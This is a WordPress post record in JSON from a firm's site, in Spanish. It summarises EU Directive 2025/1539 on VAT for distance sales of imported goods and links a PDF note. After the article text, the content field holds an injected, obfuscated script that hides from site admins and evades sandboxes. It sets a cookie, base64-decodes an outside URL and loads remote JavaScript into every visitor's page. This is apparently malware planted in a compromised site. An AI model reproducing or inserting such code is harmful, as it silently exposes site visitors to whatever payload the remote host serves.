{"id":2998,"date":"2025-08-06T10:11:13","date_gmt":"2025-08-06T10:11:13","guid":{"rendered":"https:\/\/www.blnpalao.com\/?p=2998"},"modified":"2026-05-29T10:50:01","modified_gmt":"2026-05-29T10:50:01","slug":"normas-del-iva-relativas-a-las-ventas-a-distancia-de-bienes-importados-en-la-union-europea","status":"publish","type":"post","link":"https:\/\/blnpalao.com\/en\/normas-del-iva-relativas-a-las-ventas-a-distancia-de-bienes-importados-en-la-union-europea\/","title":{"rendered":"VAT rules for distance sales of goods imported into the European Union"},"content":{"rendered":"<p>[et_pb_section fb_built=\u00bb1&#8243; theme_builder_area=\u00bbpost_content\u00bb _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb custom_padding=\u00bb0px||||false|false\u00bb hover_enabled=\u00bb0&#8243; sticky_enabled=\u00bb0&#8243;][et_pb_row _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb theme_builder_area=\u00bbpost_content\u00bb][et_pb_column _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb type=\u00bb4_4&#8243; theme_builder_area=\u00bbpost_content\u00bb][et_pb_text _builder_version=\u00bb4.27.4&#8243; _module_preset=\u00bbdefault\u00bb theme_builder_area=\u00bbpost_content\u00bb hover_enabled=\u00bb0&#8243; sticky_enabled=\u00bb0&#8243; link_option_url=\u00bbhttps:\/\/www.blnpalao.com\/wp-content\/uploads\/2025\/08\/NOTA-INFORMATIVA-E-Commerce-vVOR-31.07.2025.pdf\u00bb link_option_url_new_window=\u00bbon\u00bb]<\/p>\n<p style=\"text-align: justify;\">El Consejo de Asuntos Econ\u00f3micos y Financieros de la Uni\u00f3n Europea <span style=\"color: #971b29;\">(<strong>ECOFIN<\/strong>)<\/span> aprob\u00f3 el pasado 18 de julio de 2025, la <strong><a href=\"https:\/\/eur-lex.europa.eu\/legal-content\/EN\/TXT\/?uri=celex%3A32025L1539\">Directiva (UE) 2025\/1539<\/a>,<\/strong> que modifica la Directiva IVA 2006\/112\/CE, en relaci\u00f3n con las <span style=\"color: #971b29;\"><strong>normas del IVA relativas a las ventas a distancia de bienes importados en la Uni\u00f3n Europea<\/strong><\/span>.<\/p>\n<p style=\"text-align: justify;\">Seg\u00fan la Directiva, los Estados Miembros tendr\u00e1n de plazo para adoptar y publicar estas disposiciones legales hasta el 30 de junio de 2028, siendo de aplicaci\u00f3n las normas desde el 1 de julio del mismo a\u00f1o.<\/p>\n<p style=\"text-align: justify;\">Estas modificaciones normativas suponen un <span style=\"color: #971b29;\"><strong>cambio significativo en el modelo de recaudaci\u00f3n del IVA a la importaci\u00f3n<\/strong><\/span> en la Uni\u00f3n, ya que la obligaci\u00f3n de ingreso del impuesto recaer\u00e1 en los proveedores y plataformas electr\u00f3nicas consideradas como sujetos pasivos, en lugar de los consumidores finales en la Uni\u00f3n Europea. De esta manera, se suprime la opci\u00f3n de que sean los servicios de mensajer\u00eda o los servicios postales los que recauden el IVA.<\/p>\n<p style=\"text-align: justify;\"><span>En caso de necesitar m\u00e1s informaci\u00f3n al respecto, le rogamos pinche en el siguiente <a href=\"https:\/\/www.blnpalao.com\/wp-content\/uploads\/2025\/08\/NOTA-INFORMATIVA-E-Commerce-vVOR-31.07.2025.pdf\" target=\"_blank\" rel=\"noopener\" title=\"Normas de IVA\">documento.<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El Consejo de Asuntos Econ\u00f3micos y Financieros de la Uni\u00f3n Europea (ECOFIN) aprob\u00f3 el pasado 18 de julio de 2025, la Directiva (UE) 2025\/1539, que modifica la Directiva IVA 2006\/112\/CE, en relaci\u00f3n con las normas del IVA relativas a las ventas a distancia de bienes importados en la Uni\u00f3n Europea.<\/p>","protected":false},"author":3,"featured_media":2995,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","_glsr_average":0,"_glsr_ranking":0,"_glsr_reviews":0,"footnotes":""},"categories":[11,7,1],"tags":[],"class_list":["post-2998","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-boletin-informativo","category-iva","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - 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